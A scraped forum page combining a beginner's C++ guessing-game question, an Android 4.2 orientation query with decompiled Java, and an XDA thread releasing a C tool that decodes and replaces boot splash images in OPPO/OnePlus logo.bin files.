[Q] How in the world do I program this thing correctly? :( - General Questions and Answers

So I've been teaching myself C++ for the past two days (this is my first language), and I've pretty much come across a brick wall. The book I'm studying with is asking me to create a program where the computer guesses YOUR number. So pretty much I tried to create a high/low game where after every guess, the upper and lower limits of the range would become more and more narrowed down, eventually leading to increased probabilities of the computer guessing the number I'm thinking. I think I've gotten most of the code down... but it's just not working! I've tried my Google-fu, but none of the answers I've seen seem to approach it the same way I am. Any help?
// Guessing game
// The computer tries to guess a number input by a person.
#include <iostream>
#include <cstdlib>
#include <ctime>
using namespace std;
int main()
{
srand(time(0));
char confirm;
cout << "Think of a number from 1 to 50." << endl;
cout << "Are you ready? (y/n): ";
cin >> confirm;
while (confirm == 'n')
{
cout << "Please take your time." << endl;
cout << "Are you ready? (y/n): ";
cin >> confirm;
}
int randomNum = ( rand() % 50 ) + 1;
int currentGuess = randomNum;
char correct = 'n';
char highlow;
int lowerLim = 0, upperLim = 51;
int tries = 0;
cout << "Is your number " << currentGuess << "? (y/n): ";
cin >> correct;
++tries;
while (correct == 'n')
{
cout << "Is it higher (h) or lower (l)?: ";
cin >> highlow;
if (highlow == 'h')
{
lowerLim = currentGuess;
while ( true )
{
currentGuess = ( 50 - ( randomNum % lowerLim + 1 ) );
if ( currentGuess < upperLim && currentGuess > lowerLim )
break;
}
}
if (highlow == 'l')
{
upperLim = currentGuess;
while ( true )
{
currentGuess = ( randomNum % upperLim + 1 );
if ( currentGuess < upperLim && currentGuess > lowerLim )
break;
}
}
cout << "Is your number " << currentGuess << "? (y/n): ";
cin >> correct;
++tries;
}
if ( tries == 1 )
{
cout << "Yay! I got it on the first try!" << endl;
}
else
{
cout << "I got it in " << tries << " tries!" << endl;
}
system("PAUSE");
return 0;
}
edit: So I've kept working on it, but for some reason, it just stops after a few guesses. But at least now it's staying within the range defined by previous guesses....
This is driving me nuts, please help me.

I did something like this in java, and the problem is the way you generate the random number. Change that and it will work. This link should help. http://stackoverflow.com/questions/363681/java-generating-random-number-in-a-range

Related

Android 4.2 Change Default orientation to Portret

Hi!
I`m porting Android 4.2.2 to my Device, and have a problem with screen default orientation!
Code:
public DisplayDeviceInfo getDisplayDeviceInfoLocked()
{
String str;
if (this.mInfo == null)
{
this.mInfo = new DisplayDeviceInfo();
this.mInfo.width = this.mPhys.width;
this.mInfo.height = this.mPhys.height;
this.mInfo.refreshRate = this.mPhys.refreshRate;
if (this.mPhys.secure)
this.mInfo.flags = 12;
if (this.mBuiltInDisplayId != 0)
break label264;
str = SystemProperties.get("ro.sf.hwrotation");
this.mInfo.name = LocalDisplayAdapter.this.getContext().getResources().getString(17040667);
DisplayDeviceInfo localDisplayDeviceInfo = this.mInfo;
localDisplayDeviceInfo.flags = (0x3 | localDisplayDeviceInfo.flags);
this.mInfo.type = 1;
this.mInfo.densityDpi = (int)(0.5F + 160.0F * this.mPhys.density);
this.mInfo.xDpi = this.mPhys.xDpi;
this.mInfo.yDpi = this.mPhys.yDpi;
this.mInfo.touch = 1;
this.mInfo.rotation = 0;
if (!"270".equals(str))
break label224;
this.mInfo.rotation = 3;
}
while (true)
{
return this.mInfo;
label224: if ("180".equals(str))
{
this.mInfo.rotation = 2;
continue;
}
if (!"90".equals(str))
continue;
this.mInfo.rotation = 1;
continue;
label264: this.mInfo.type = 2;
this.mInfo.name = LocalDisplayAdapter.this.getContext().getResources().getString(17040668);
this.mInfo.touch = 2;
this.mInfo.setAssumedDensityForExternalDisplay(this.mPhys.width, this.mPhys.height);
if (!"portrait".equals(SystemProperties.get("persist.demo.hdmirotation")))
continue;
this.mInfo.rotation = 3;
}
}
I found this code in services.jar/display/localdisplay... How it modify to get portrait orientation when hwrotation=0???/

[MOD][CM12][COLOROS 2][HYDROGEN OS] Splash Screen Image Injector v1.2

This is a program that I wrote to decode the newer style "logo.bin" files used in some OPPO, and OnePlus devices. Please read below so you can better understand this type of encoding being used:
What Is A Raw Image?
A raw image, whether it be a file or an image in memory, is simply pixel data. There is no extra information like width, height, name, end of line... Absolutely nothing, just pixel data. If you have an image that is raw and the resolution is 1080x1920 and you are using a typical RGB24 or BGR24 (like the ones used here), then your exact filesize or size in memory will be 1080x1920x3! We use 3 here because there is one byte for the R or red component, one for the G (green), and one for the B(blue).
What Is A Run Length Encoded Image?
A run length image encoding uses a count ;usually a single byte (char), 2 bytes (short int), or 4 bytes (long int); and then the pixel components. So instead of writing out 300 bytes of '0's to make a line of 100 black pixels. Black is RGB(0,0,0). You could encode this as 100, 0, 0, 0. And only use 4 bytes of data to get the exact same image as the 300 byte raw image. All the run length encoding I've found, except the Motorola style which is a little different, use a run length encoding that is pixel-oriented like this.
Now I've figured out this new one and it is a byte-oriented run length encoding. This is for runs of bytes, not pixels. You may think, well whats the big deal? When you add a little area of color, you increase the run length encoded image in you logo.bin immensely! You use 6 bytes per pixel if there aren't any runs of color data. If you had an image that was a 1080x1920 black image with a 25 pixel wide, by 25 pixel high red box in the middle. The encoder would be doing runs of black data efficiently until it reached the red area.
.....0 255 0 255 0 255 0 255 0 255 0 99 /// we've reached the top left corner of the red square /// 13 1 30 1 255 1 // << that was just one red pixel!! in bgr color order (13, 30, 255) <<// And it keeps going through the rest of the red pixels on that line using 6 bytes per pixel, which is the opposite of compression. Before reaching the red square the encoding was decoding to 255 zeros over and over, until finally 99 zeros. 255 zeros is 85 black pixels stored in just 2 bytes!
This type of encoding is only good for grey scale images. It is not good with color, but it still will handle color of course. In grey scale, the Red, Blue, and Green data components are always the same values. All the way from black (0,0,0) to white (255, 255, 255); including every shade of grey in between>>>(1,1,1) (2,2,2) (3,3,3)....(253, 253, 253) (254, 254, 254)<<<
One other difference in this method of run length encoding is that the color byte is before the count, which is backwards from all of the other methods.​
The attachment contains the C source code (which is also in the 2nd post) and the executable that was compiled using mingw32 on a 64 bit Windows 7 PC. The PNG library that I used is LodePng, the source is in the download.
To use logoinjector:
Decode your logo.bin:
Code:
logoInjector.exe -i logo.bin -d
All the PNG 's will be extracted from logo.bin. Edit the PNGs that you want to change...
Note:
Your original "logo.bin" file is never changed, it is just read. If the file you try to load isn't a logo.bin file, or if it is the older style, then the program will tell you and exit​
Inject the image(s) back in to the logo.bin:
Code:
logoinjector.exe -i logo.bin -j image_name_1 image_name_3....
To list whats in your logo file:
Code:
logoinjector.exe -i logo.bin -l
For a more detailed list:
Code:
logoinjector.exe -i logo.bin -L
If the colors are messed up use the "-s" switch while decoding.
Code:
logoinjector.exe -i logo.bin -d -s
If you had to use the "-s" switch to decode properly, you'll have to use it to inject also:
Code:
logoinjector.exe -i logo.bin -j image_name -s
Note:
With version 1.2, you can put as many names after "-j" as you want, and it's not case sensitive. You also don't have to put the whole name. If you just put "-j fhd" every image in the logo.bin that starts with "fhd" will be injected. There has to be a PNG with the name in the directory though​
The size of your modified.logo.bin will displayed along with the original size, if everything went good. Please know the size of you logo partition. I made this program to encompass any device using this format, and there is no set size of the logo partition between devices. Fastboot will just error out if you try to flash data bigger than the partition before it writes anything. But if someone gets brave and tries to "DD" to the logo partition, it could get ugly.:cyclops:
Flash the "modified.logo.bin" file through fastboot.
v1.2
made it possible for multiple injections in one command
doesn't add png to the decoded png if it was already in the name
fixed out of scope with image 26 in OPPO find 7 logo.bin
added LodePng source in the download
made the default color order BGR
displays the modified logo file size as well as the original file size
runs the modified.logo.bin back through the list function after injecting
checks the number of offsets between the original and modified logo.bin
Use this at your own risk.
Always make backups.
Always.
Code:
/*
/*
* Logo Injector v1.2
*
* Copyright (C) 2015 Joseph Andrew Fornecker
* makers_mark @ xda-developers.com
* [email protected]
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 3 of the License, or (at your
* opinion) any later version. See <http://www.gnu.org/licenses/gpl.html>
*
* New in v1.2:
*
* - Fixed out of scope crash involving image #26 in oppo find 7 logo.bin (26 IS BIG)
* - Multiple injection names possible after the -j parameter
* - Injection names are now case insensitive
* - BGR is the the default color order, instead of RGB
* - Added more error checks
* - Show the change in file size of original logo.bin compare to the modified logo.bin
* - Several small changes dealing with readability
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include "lodepng.h"
#define SWAP32(x) (( x >> 24 )&0xff) | ((x << 8)&0xff0000) | ((x >> 8)&0xff00) | ((x << 24)&0xff000000)
#define BLOCK 512
#define OFFSETSTART 48
#define BYTESPERPIXEL 3
#define MAXOFFSETS 28
#define SIZEOFLONGINT 4
#define TWOTOTHETEN 1024
typedef struct {
uint8_t header[8];
uint8_t blank[24];
uint32_t width;
uint32_t height;
uint32_t lengthOfData;
uint32_t special;
uint32_t offsets[MAXOFFSETS];
uint8_t name[64];
uint8_t metaData[288];
} IMAGEHEAD;
uint16_t Copy(FILE *, IMAGEHEAD *, uint16_t , uint16_t, FILE *);
int32_t InjectNewStyle(FILE *, IMAGEHEAD *, uint16_t , uint8_t *, uint16_t, FILE *, uint32_t * );
int32_t RewriteHeaderZero( uint32_t , uint16_t, FILE* , int32_t, uint32_t * );
uint32_t Encode(uint8_t*, uint8_t*, uint32_t);
uint32_t GetEncodedSize(uint8_t*, uint32_t);
uint32_t GetWidth(FILE*);
uint32_t GetHeight(FILE*);
uint64_t BlockIt(uint32_t);
uint16_t GetNumberOfOffsets(FILE*);
int32_t DecodeLogoBin(FILE*, IMAGEHEAD *);
int32_t ListFileDetails(FILE*, IMAGEHEAD *);
uint8_t* Decode(FILE*, uint32_t, uint32_t, uint32_t, uint8_t*);
int32_t IsItTheNewStyle(FILE*);
IMAGEHEAD* ParseHeaders(FILE*, uint16_t);
int32_t IsItALogo(FILE*);
void PrintFileSize(uint32_t);
uint32_t GetFileSize(FILE *);
uint16_t badAss = 0;
int16_t rgb2bgr = 1;
uint16_t convertToPNG = 1;
uint8_t HEADER[] = {0x53,0x50,0x4C,0x41,0x53,0x48,0x21,0x21};
int32_t IsItALogo(FILE *originalLogoBin){
uint8_t string[9];
uint16_t i;
fread(string, 1, 8, originalLogoBin);
for (i = 0 ; i < 8 ; i++){
if (string[i] == HEADER[i]){
continue;
} else {
return 0;
}
}
return 1;
}
int32_t IsItTheNewStyle(FILE *originalLogoBin){
int32_t newStyle = 0;
fread(&newStyle, 1, SIZEOFLONGINT, originalLogoBin);
if (newStyle == 0){
return 1;
} else {
return 0;
}
}
IMAGEHEAD *ParseHeaders(FILE *originalLogoBin, uint16_t numberOfOffsets){
uint8_t i = 0;
IMAGEHEAD *imageHeaders;
imageHeaders = malloc(BLOCK * numberOfOffsets);
memset(imageHeaders, 0, BLOCK * numberOfOffsets);
fseek(originalLogoBin, 0, SEEK_SET);
fread(&imageHeaders[i], 1 , BLOCK, originalLogoBin);
for ( i = 1 ; i < numberOfOffsets ; ++i ){
fseek(originalLogoBin, imageHeaders[0].offsets[i], SEEK_SET);
fread(&imageHeaders[i], 1 , BLOCK, originalLogoBin);
}
return imageHeaders;
}
uint16_t GetNumberOfOffsets(FILE *originalLogoBin){
uint16_t i = 0;
uint32_t readAs = 0;
fseek(originalLogoBin, OFFSETSTART, SEEK_SET);
while(i < MAXOFFSETS){
fread(&readAs, 1, SIZEOFLONGINT, originalLogoBin);
if ((readAs == 0) && (i != 0)){
break;
} else {
i++;
}
}
return i;
}
uint8_t* Decode(FILE *originalLogoBin, uint32_t start, uint32_t length, uint32_t imageBytes, uint8_t* image){
uint32_t decodedBytes = 0, i = 0;
uint8_t* data;
fseek(originalLogoBin, start, SEEK_SET);
data = (uint8_t*)malloc(length);
if (fread(data, 1, length, originalLogoBin) != length) {
fprintf(stderr, "Could not read file!!\n");
exit(0);
}
while((i < length) && (decodedBytes < imageBytes)){
memset(&image[decodedBytes], data[i], (data[i + 1]));
decodedBytes += (uint8_t)data[i+1];
i += 2;
if ((i < length) && (imageBytes - decodedBytes < (uint8_t)data[i + 1])){
memset(&image[decodedBytes], data[i], imageBytes - decodedBytes);
decodedBytes = imageBytes;
fprintf(stdout, "More information was in encoding than resolution called for.\n");
break;
}
}
fprintf(stdout, "%ld decoded bytes\n", decodedBytes);
free(data);
if( rgb2bgr == 1 ){
uint8_t old;
i = 0;
while( i < imageBytes){
old = image[i];
memset(&image[i], image[i + 2], 1);
memset(&image[i + 2], old, 1);
i += BYTESPERPIXEL;
}
}
return image;
}
int32_t DecodeLogoBin(FILE *originalLogoBin, IMAGEHEAD *imageHeaders){
uint32_t size, imageBytes, start;
uint8_t* image;
uint8_t name[65];
uint8_t r = 0;
uint16_t i , numberOfOffsets = GetNumberOfOffsets(originalLogoBin);
for ( i = 0 ; i < numberOfOffsets ; i++ ){
fprintf(stdout,"\n\n\n#%d: Offset:%ld\n", i + 1, imageHeaders[0].offsets[i]);
if ((imageHeaders[i].width == 0) || (imageHeaders[i].height == 0)){
fprintf(stdout, "Placeholder for %s\n", imageHeaders[i].metaData);
continue;
}
fprintf(stdout, "Header=%s\nWidth=%ld\nHeight=%ld\nData Length=%ld\nSpecial=%ld\nName=%s\nMetadata=%s\n",
imageHeaders[i].header, imageHeaders[i].width, imageHeaders[i].height,
imageHeaders[i].lengthOfData, imageHeaders[i].special, imageHeaders[i].name, imageHeaders[i].metaData);
if (convertToPNG){
start = imageHeaders[0].offsets[i] + BLOCK;
imageBytes = imageHeaders[i].width * (imageHeaders[i].height) * BYTESPERPIXEL;
image = malloc(imageBytes);
uint8_t lengthOfName = strlen(imageHeaders[i].name);
uint8_t *ext;
ext = strrchr(imageHeaders[i].name, '.');
if (((ext[1] == 'p') || (ext[1] == 'P')) &&
((ext[2] == 'n') || (ext[2] == 'N')) &&
((ext[3] == 'g') || (ext[3] == 'G')) &&
((ext[0] == '.'))){
sprintf(name, "%s", imageHeaders[i].name);
} else {
sprintf(name, "%s.png", imageHeaders[i].name);
}
lodepng_encode24_file(name, Decode(originalLogoBin, (uint32_t)start, (uint32_t)imageHeaders[i].lengthOfData, (uint32_t)imageBytes, image) , (unsigned)imageHeaders[i].width, (unsigned)imageHeaders[i].height);
free(image);
}
}
return 0;
}
int32_t ListFileDetails(FILE *originalLogoBin, IMAGEHEAD *imageHeaders){
uint32_t i = 0, j = 0;
fseek(originalLogoBin, 0, SEEK_SET);
uint16_t numberOfOffsets = GetNumberOfOffsets(originalLogoBin);
fprintf(stdout, "Resolution\tOffset\tName\n");
fprintf(stdout, "-------------------------------------------------------------\n");
for ( i = 0 ; i < numberOfOffsets ; i++ ){
if ((imageHeaders[i].width == 0) || (imageHeaders[i].height == 0)){
fprintf(stdout, "(placeholder) for %s\n", imageHeaders[i].metaData);
continue;
}
fprintf(stdout,"%dx%d\t", imageHeaders[i].width, imageHeaders[i].height);
if ((imageHeaders[i].width < 1000) && (imageHeaders[i].height <1000)){fprintf(stdout, "\t");}
fprintf(stdout, "%ld\t%s\n", imageHeaders[0].offsets[i], imageHeaders[i].name );
}
return 1;
}
uint16_t Copy(FILE *originalLogoBin, IMAGEHEAD *imageHeaders, uint16_t numberOfOffsets, uint16_t injectionNumber, FILE *modifiedLogoBin){
uint8_t *data;
uint32_t offset, originalOffset;
uint32_t imageSize = BlockIt(BLOCK + imageHeaders[injectionNumber].lengthOfData);
if( imageHeaders[injectionNumber].name[0] == 0){
fprintf(stdout, "Copying \t#%d:(placeholder) %s\n", injectionNumber + 1 , imageHeaders[injectionNumber].metaData);
} else {
fprintf(stdout, "Copying \t#%d:%s\n", injectionNumber + 1 , imageHeaders[injectionNumber].name);
}
data = malloc(imageSize);
memset(data, 0 , imageSize);
fread(data, 1, imageSize, originalLogoBin);
fwrite(data, 1 , imageSize, modifiedLogoBin);
free(data);
}
int32_t InjectNewStyle(FILE *originalLogoBin, IMAGEHEAD *imageHeaders, uint16_t numberOfOffsets, uint8_t *injectionName, uint16_t injectionNumber, FILE *modifiedLogoBin, uint32_t *ihMainOffsets ){
uint32_t encodedSize = 0, actualWritten = 0, imageSize = 0;
uint8_t *data, *header;
int8_t inFileName[69];
int32_t blockDifference;
uint32_t offset, originalOffset;
FILE *pngFile;
sprintf(inFileName, "%s", injectionName);
if (imageHeaders[injectionNumber].special != 1){
fprintf(stdout, "ERROR: \"Special\" is not equal to '1' \nThis would not be safe to flash!\nPlease email logo.bin in question to:\[email protected]\n");
fclose(originalLogoBin);
fclose(modifiedLogoBin);
return 0;
}
if ((pngFile = fopen(inFileName, "rb")) == NULL){
sprintf(inFileName, "%s.png", injectionName);
if ((pngFile = fopen(inFileName, "rb")) == NULL){
fclose(pngFile);
fclose(modifiedLogoBin);
fclose(originalLogoBin);
fprintf(stderr, "%s could not be read\n", inFileName);
return 0;
}
}
IMAGEHEAD new;
memset(new.blank, 0, sizeof(new.blank));
memset(new.metaData, 0, sizeof(new.metaData));
memset(new.offsets, 0, SIZEOFLONGINT * MAXOFFSETS);
strncpy(new.header, HEADER , 8);
strncpy(new.metaData, imageHeaders[injectionNumber].metaData, sizeof(imageHeaders[injectionNumber].metaData));
strncpy(new.name, injectionName, 64);
new.special = 1;
fprintf(stdout, "Injecting\t#%d:%s\n", injectionNumber + 1 , imageHeaders[injectionNumber].name);
if (((new.width = GetWidth(pngFile)) != imageHeaders[injectionNumber].width) && (!badAss)){
fprintf(stderr, "Error: Width of PNG to be injected is %d, it must be %d!\n", new.width, imageHeaders[injectionNumber].width);
fclose(pngFile);
fclose(modifiedLogoBin);
fclose(originalLogoBin);
return 0;
}
if (((new.height = GetHeight(pngFile)) != imageHeaders[injectionNumber].height) && (!badAss)){
fprintf(stderr, "Error: Height of PNG to be injected is %d, it must be %d!\n", new.height, imageHeaders[injectionNumber].height);
fclose(pngFile);
fclose(modifiedLogoBin);
fclose(originalLogoBin);
return 0;
}
uint32_t rawBytes = new.width * new.height * BYTESPERPIXEL;
uint8_t *decodedPNG = malloc(rawBytes);
lodepng_decode24_file(&decodedPNG, (uint32_t*)&new.width, (uint32_t*)&new.height , (const uint8_t*)inFileName);
if (rgb2bgr == 1){
uint8_t old;
uint32_t k = 0;
while( k < rawBytes ){
old = decodedPNG[k];
memset(&decodedPNG[k], decodedPNG[k + 2], 1);
memset(&decodedPNG[k + 2], old, 1);
k += BYTESPERPIXEL;
}
}
encodedSize = GetEncodedSize(decodedPNG, (new.width * new.height * BYTESPERPIXEL));
new.lengthOfData = encodedSize;
uint8_t *rlEncoded = malloc(BlockIt(encodedSize));
memset(rlEncoded, 0, BlockIt(encodedSize));
actualWritten = Encode(decodedPNG, rlEncoded, (new.width * new.height * BYTESPERPIXEL));
blockDifference = (((BLOCK + BlockIt(actualWritten)) - (BLOCK + BlockIt(imageHeaders[injectionNumber].lengthOfData))) / BLOCK);
fwrite(&new, 1 , BLOCK, modifiedLogoBin);
fwrite(rlEncoded, 1 , BlockIt(actualWritten), modifiedLogoBin);
free(decodedPNG);
free(rlEncoded);
RewriteHeaderZero( injectionNumber , numberOfOffsets , modifiedLogoBin , blockDifference, ihMainOffsets);
fclose(pngFile);
return 1;
}
int32_t RewriteHeaderZero( uint32_t injectionImageNumber , uint16_t numberOfOffsets, FILE *modifiedLogoBin , int32_t blockDifference, uint32_t *ihMainOffsets){
uint8_t i, j = injectionImageNumber + 1 ;
uint32_t filePosition = ftell(modifiedLogoBin);
uint32_t offset = 0;
for( ; j < numberOfOffsets; j++){
fseek(modifiedLogoBin, OFFSETSTART + (SIZEOFLONGINT * j), SEEK_SET);
offset = ihMainOffsets[j];
offset += (blockDifference * BLOCK);
fseek(modifiedLogoBin, OFFSETSTART + (SIZEOFLONGINT * j), SEEK_SET);
fwrite(&offset, 1 , SIZEOFLONGINT , modifiedLogoBin);
ihMainOffsets[j] = offset;
}
fseek(modifiedLogoBin, filePosition , SEEK_SET);
return;
}
uint32_t GetEncodedSize(uint8_t* data, uint32_t size){
uint32_t pos = 0, ret = 0;
uint16_t count = 1;
for( pos = 0 ; pos < size ; ++pos , count = 1){
while((pos < size - 1) && (count < 0xFF) && ((memcmp(&data[pos], &data[pos+1], 1)) == 0)){
count++;
pos++;
}
ret += 2;
}
return ret;
}
uint32_t Encode(uint8_t* rawRgbReading, uint8_t* rlEncoded, uint32_t rawSize){
uint32_t writePosition = 0 , readPosition = 0;
uint16_t count = 1;
for( readPosition = 0 ; readPosition < rawSize ; ++readPosition , count = 1){
while((readPosition < rawSize - 1 ) && (count < 0xFF) && ((memcmp(&rawRgbReading[readPosition], &rawRgbReading[readPosition+1], 1)) == 0)){
count++;
readPosition++;
}
rlEncoded[writePosition] = rawRgbReading[readPosition];
rlEncoded[writePosition + 1] = count;
writePosition += 2;
}
return writePosition;
}
uint32_t GetWidth(FILE *pngFile){
uint32_t width;
fseek(pngFile, 16, SEEK_SET);
fread(&width, 1, SIZEOFLONGINT, pngFile);
return(SWAP32(width));
}
uint32_t GetHeight(FILE *pngFile){
uint32_t height;
fseek(pngFile, 20, SEEK_SET);
fread(&height, 1, SIZEOFLONGINT, pngFile);
return(SWAP32(height));
}
uint64_t BlockIt(uint32_t isize){
uint32_t blockSize = BLOCK;
if ((isize % blockSize) == 0){
return isize;
}else{
return isize + (blockSize - (isize % blockSize));
}
}
void Usage(){
fprintf(stdout, "Usage: logoinjector -i \"input file\" [-l] | [-L] | [-d [-s]] | [-j \"image to be replaced\" [-b] | [-s]]\n\n");
fprintf(stdout, "Mandatory Arguments:\n\n");
fprintf(stdout, "\t-i \"C:\\xda\\logo.bin\"\n");
fprintf(stdout, "\t This is the logo.bin file to analyze or inject an image\n\n");
fprintf(stdout, "Optional Arguments:\n\n");
fprintf(stdout, "\t-d Decode all images into PNGs, (-s)wap parameter may be needed for proper color.\n");
fprintf(stdout, "\t-l Lower case 'L' is to display a short list of what is inside the input file.\n");
fprintf(stdout, "\t-L Upper case 'L' is for a more detailed list of logo.bin image contents.\n");
fprintf(stdout, "\t-b 'b' is used to tell the program to disregard width or height differences\n");
fprintf(stdout, "\t when encoding an image, the program also won't fail if it can't find a name\n");
fprintf(stdout, "\t that can't be found on the inject list when encoding images\n");
fprintf(stdout, "\t-s 's' is used to swap RGB and BGR color order. Can be used on decoding or encoding.\n");
fprintf(stdout, "\t NEW IN THIS V1.2: Swap is on by default, meaning the color order will be BGR. Using\n");
fprintf(stdout, "\t the \"-s\" switch will result in a RGB color order. Bottom line: If you (-d)ecode the\n");
fprintf(stdout, "\t images (that have color) and the colors aren't right, then you should use (-s) to \n");
fprintf(stdout, "\t decode and inject images.\n");
fprintf(stdout, "\t-j \"image(s) to be replaced\"\n");
fprintf(stdout, "\t The image(s) name to be replaced as seen in the (-l)ist\n");
fprintf(stdout, "\t NEW IN THIS V1.2: Multiple image names may be put after \"-j\"\n");
fprintf(stdout, "\t The names simply need to be separated by a space. The names now also are not case\n");
fprintf(stdout, "\t sensitive, and it doesn't matter if you put the extension at the end of the name.\n");
fprintf(stdout, "\t You actually only need to put the first characters of the name.\nExample:\n");
fprintf(stdout, "\t logoinjector -i \"your_logo.bin\" -j FHD \n\n");
fprintf(stdout, "\t This will inject a PNG for every name in the logo bin that begins with \"fhd\"\n");
return;
}
void PrintFileSize(uint32_t bytes){
float megaBytes = 0, kiloBytes = 0;
kiloBytes = (float)bytes / (float)TWOTOTHETEN;
megaBytes = kiloBytes / (float)TWOTOTHETEN;
if (kiloBytes < (float)TWOTOTHETEN){
fprintf(stdout, "\t%.2f KB\n", kiloBytes);
} else {
fprintf(stdout, "\t%.2f MB\n", megaBytes);
}
return;
}
uint32_t GetFileSize(FILE *temp){
fseek(temp, 0 , SEEK_END);
uint32_t fileSizeZ = ftell(temp);
return(fileSizeZ);
}
int32_t main(int32_t argc, int8_t **argv){
int32_t c;
int16_t h, i , j , k = 0;
FILE *originalLogoBin = NULL, *modifiedLogoBin = NULL;
uint8_t *inputFile = NULL;
uint8_t *injectNames[MAXOFFSETS];
int16_t decodeAllOpt = 0;
int16_t encodeOpt = 0;
int16_t inject = 0;
int16_t listFile = 0;
uint16_t numberOfOffsets = 0, injected = 0;
for(i = 0; i < MAXOFFSETS; i++){
injectNames[i] = NULL;
}
fprintf(stdout, "__________________________________________________________-_-\n");
fprintf(stdout, "Logo Injector v1.2\n\nWritten By Makers_Mark @ XDA-DEVELOPERS.COM\n");
fprintf(stdout, "_____________________________________________________________\n\n");
while ((c = getopt (argc, (char**)argv, "sSj:J:hHbBdDlLi:I:")) != -1){
switch(c)
{
case 'l':
listFile = 1;
break;
case 'L':
decodeAllOpt = 1;
convertToPNG = 0;
break;
case 'i':
case 'I':
inputFile = optarg;
break;
case 'b':
case 'B':
badAss = 1;
break;
case 'j':
case 'J':
h = optind - 1 ;
uint8_t *nextArg;
while(h < argc){
inject = 1;
nextArg = strdup(argv[h]);
h++;
if(nextArg[0] != '-'){
injectNames[k++] = nextArg;
} else {
break;
}
}
optind = h - 1;
break;
case 'd':
case 'D':
decodeAllOpt = 1 ;
break;
case 's':
case 'S':
rgb2bgr = -1 ;
break;
case 'h':
case 'H':
Usage();
return 0;
break;
default:
Usage();
return 0;
break;
}
}
if (inputFile == NULL){
Usage();
return 0;
}
fprintf(stdout, "FILE: %s\n_____________________________________________________________\n\n", inputFile);
if (rgb2bgr == 1){
fprintf(stdout, "BGR is the color order. Use \"-s\" switch to change it to RGB.\n\n");
} else {
fprintf(stdout, "RGB is the color order. Use \"-s\" switch to change it to BGR.\n\n");
}
if ((originalLogoBin = fopen(inputFile, "rb")) == NULL){
fprintf(stderr, "%s could not be opened\n", inputFile);
return 0;
}
if (!IsItALogo(originalLogoBin)){
fprintf(stdout, "\nThis is NOT a valid Logo.bin\n\n");
fclose(originalLogoBin);
return 0;
}
if (!IsItTheNewStyle(originalLogoBin)){
fprintf(stdout, "\nThis is the old style logo.bin\n\n");
fclose(originalLogoBin);
return 0;
}
numberOfOffsets = GetNumberOfOffsets(originalLogoBin);
IMAGEHEAD *imageHeaders = ParseHeaders(originalLogoBin, numberOfOffsets);
if (listFile){
ListFileDetails(originalLogoBin, imageHeaders);
return 1;
}
if(inject){
uint32_t ihMainOffsets[MAXOFFSETS];
uint8_t found = 0, exitFlag = 0;
for (i = 0; i < MAXOFFSETS ; i++){
ihMainOffsets[i] = 0;
}
for (j = 0; j < k ; j++){
for (i = 0 ; i < numberOfOffsets ; i++ ){
if((strcasecmp(imageHeaders[i].name, injectNames[j]) == 0) ||
(strncasecmp(imageHeaders[i].name, injectNames[j], strlen(injectNames[j])) == 0)){
found = 1;
break;
} else {
found = 0;
}
}
if (!found){
fprintf(stdout, "ERROR: \"%s\" is not in the logo bin !!!!\n", injectNames[j]);
exitFlag = 1;
}
}
if ((exitFlag) && (!badAss)){
fclose(originalLogoBin);
exit(0);
}
memcpy(&ihMainOffsets , &imageHeaders[0].offsets, SIZEOFLONGINT * MAXOFFSETS);
fseek(originalLogoBin, 0, SEEK_SET);
if ((modifiedLogoBin = fopen("modified.logo.bin", "wb+")) == NULL){
fclose(modifiedLogoBin);
fclose(originalLogoBin);
fprintf(stderr, "modified.logo.bin could not be opened\n");
return 0;
}
for (i = 0 ; i < numberOfOffsets ; i++ , injected = 0 ){
for (j = 0; j < k ; j++){
if((strcasecmp(imageHeaders[i].name, injectNames[j]) == 0) ||
(strncasecmp(imageHeaders[i].name, injectNames[j], strlen(injectNames[j])) == 0)){
if (InjectNewStyle(originalLogoBin, imageHeaders , numberOfOffsets, imageHeaders[i].name, i, modifiedLogoBin, ihMainOffsets) == 0){
fprintf(stderr, "Error: Injecting %s\n", imageHeaders[i].name);
fclose(originalLogoBin);
fclose(modifiedLogoBin);
return 0;
}
if ( i != numberOfOffsets - 1 ){
fseek(originalLogoBin, imageHeaders[0].offsets[i+1], SEEK_SET);
}
injected = 1;
break;
}
}
if (!injected){
Copy(originalLogoBin , imageHeaders, numberOfOffsets, i, modifiedLogoBin);
}
}
uint16_t modifiedNumberOfOffsets = 0;
if (GetNumberOfOffsets(modifiedLogoBin) != numberOfOffsets){
fprintf(stderr, "ERROR: The number of offsets doesn't match the Original file!!\n");
fclose(modifiedLogoBin);
if (!badAss){
unlink("modified.logo.bin");
}
exit(0);
}
fprintf(stdout, "\n\nContents of the NEW \"modified.logo.bin\":\n");
fprintf(stdout, "VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV\n\n");
ListFileDetails(modifiedLogoBin, imageHeaders);
fprintf(stdout, "\n\n_____________________________________________________________\nOriginal filesize: ");
PrintFileSize(GetFileSize(originalLogoBin));
fprintf(stdout, "Modified filesize: ");
PrintFileSize(GetFileSize(modifiedLogoBin));
fprintf(stdout, "-------------------------------------------------------------\n");
fclose(originalLogoBin);
fclose(modifiedLogoBin);
return 1;
}
if (decodeAllOpt){
DecodeLogoBin(originalLogoBin, imageHeaders);
fclose(originalLogoBin);
return 1;
}
fclose(originalLogoBin);
return 1;
}
Interesting Can you tell me where do I find the logo.bin in my boot.img. I've extracted mine and don't see any sign of logo.bin. I own a OnePlus 2
shreyas.kukde said:
Interesting Can you tell me where do I find the logo.bin in my boot.img. I've extracted mine and don't see any sign of logo.bin. I own a OnePlus 2
Click to expand...
Click to collapse
Did you download a system image? If so, unzip it, and look for the folder "firmware-update". The logo.bin should be in there.
Works well for me! Thanks!
Grarak said:
Works well for me! Thanks!
Click to expand...
Click to collapse
Thanks!! Removed this:
This is untested on the oneplus 2, however I've looked at the logo.bin from your firmware and it is identical to the newer oneplus one logo.bin. Let me know! Thanks!​
Grarak said:
Works well for me! Thanks!
Click to expand...
Click to collapse
how did you flash your modified logo.bin? if done through "fastboot flash logo logo.bin" it just quits with this error:
Code:
target reported max download size of 536870912 bytes
sending 'logo' (1581 KB)...
OKAY [ 0.064s]
writing 'logo'...
FAILED (remote: partition table doesn't exist)
finished. total time: 0.085s
this also happens with an unmodified logo.bin
markus1540 said:
